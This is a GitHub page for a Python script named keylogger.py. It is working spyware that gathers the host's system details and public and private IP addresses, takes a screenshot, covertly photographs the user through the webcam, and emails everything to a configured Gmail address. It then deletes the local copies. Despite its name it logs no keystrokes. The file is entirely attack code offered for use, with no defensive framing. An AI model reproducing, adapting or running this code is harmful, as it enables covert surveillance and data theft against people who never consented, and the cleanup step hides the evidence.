-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
154 lines (128 loc) · 4.74 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import smtplib
import socket
import platform
from PIL import ImageGrab
import os
from requests import get
import logging
import cv2 # Import OpenCV for webcam capture
# Set up logging
logging.basicConfig(
filename="application.log",
level=logging.INFO,
format="%(asctime)s - %(levelname)s - %(message)s",
)
# File and email configuration
system_information = "syseminfo.txt"
screenshot_information = "screenshot.png"
camera_photo_information = "camera_photo.png"
email_address = "[email protected]"
password = "google_app_pass"
toaddr = "your_gmail"
# Define file path to userData directory
file_path = os.path.join(os.path.dirname(__file__), "userData")
if not os.path.exists(file_path):
os.makedirs(file_path) # Create userData directory if it doesn't exist
# Email sending function
def send_email(attachments, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg["From"] = fromaddr
msg["To"] = toaddr
msg["Subject"] = "Log Files, Screenshot, and Camera Photo"
body = "Attached are the log files, screenshot, and camera photo."
msg.attach(MIMEText(body, "plain"))
for filename, filepath in attachments:
try:
with open(filepath, "rb") as f:
p = MIMEBase("application", "octet-stream")
p.set_payload(f.read())
encoders.encode_base64(p)
p.add_header("Content-Disposition", f"attachment; filename={filename}")
msg.attach(p)
logging.info(f"Attachment {filename} added to email.")
except Exception as e:
logging.error(f"Failed to add attachment {filename}: {e}")
try:
s = smtplib.SMTP("smtp.gmail.com", 587)
s.starttls()
s.login(fromaddr, password)
s.sendmail(fromaddr, toaddr, msg.as_string())
s.quit()
logging.info("Email sent successfully.")
except Exception as e:
logging.error(f"Failed to send email: {e}")
# Get computer information
def computer_information():
try:
with open(os.path.join(file_path, system_information), "a") as f:
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
try:
public_ip = get("https://api.ipify.org").text
f.write("Public IP Address: " + public_ip + "\n")
except Exception:
f.write("Couldn't get Public IP Address\n")
f.write(f"Processor: {platform.processor()}\n")
f.write(f"System: {platform.system()} {platform.version()}\n")
f.write(f"Machine: {platform.machine()}\n")
f.write(f"Hostname: {hostname}\n")
f.write(f"Private IP Address: {IPAddr}\n")
logging.info("Computer information collected successfully.")
except Exception as e:
logging.error(f"Error collecting computer information: {e}")
# Take screenshot
def screenshot():
try:
im = ImageGrab.grab()
im.save(os.path.join(file_path, screenshot_information))
logging.info("Screenshot captured successfully.")
except Exception as e:
logging.error(f"Error capturing screenshot: {e}")
# Capture photo from webcam
def capture_photo():
try:
cap = cv2.VideoCapture(0) # Open the default camera
if not cap.isOpened():
raise Exception("Could not open webcam")
ret, frame = cap.read()
if ret:
cv2.imwrite(os.path.join(file_path, camera_photo_information), frame)
logging.info("Camera photo captured successfully.")
else:
logging.error("Failed to capture photo from webcam")
cap.release()
cv2.destroyAllWindows()
except Exception as e:
logging.error(f"Error capturing photo from webcam: {e}")
# Clean up
def cleanup():
delete_files = [
system_information,
screenshot_information,
camera_photo_information,
]
for file in delete_files:
try:
os.remove(os.path.join(file_path, file))
logging.info(f"File {file} deleted successfully.")
except Exception as e:
logging.error(f"Error deleting file {file}: {e}")
# Main script execution
def main():
computer_information()
screenshot()
capture_photo() # Capture photo from webcam
attachments = [
(system_information, os.path.join(file_path, system_information)),
(screenshot_information, os.path.join(file_path, screenshot_information)),
(camera_photo_information, os.path.join(file_path, camera_photo_information)),
]
send_email(attachments, toaddr)
cleanup()
if __name__ == "__main__":
main()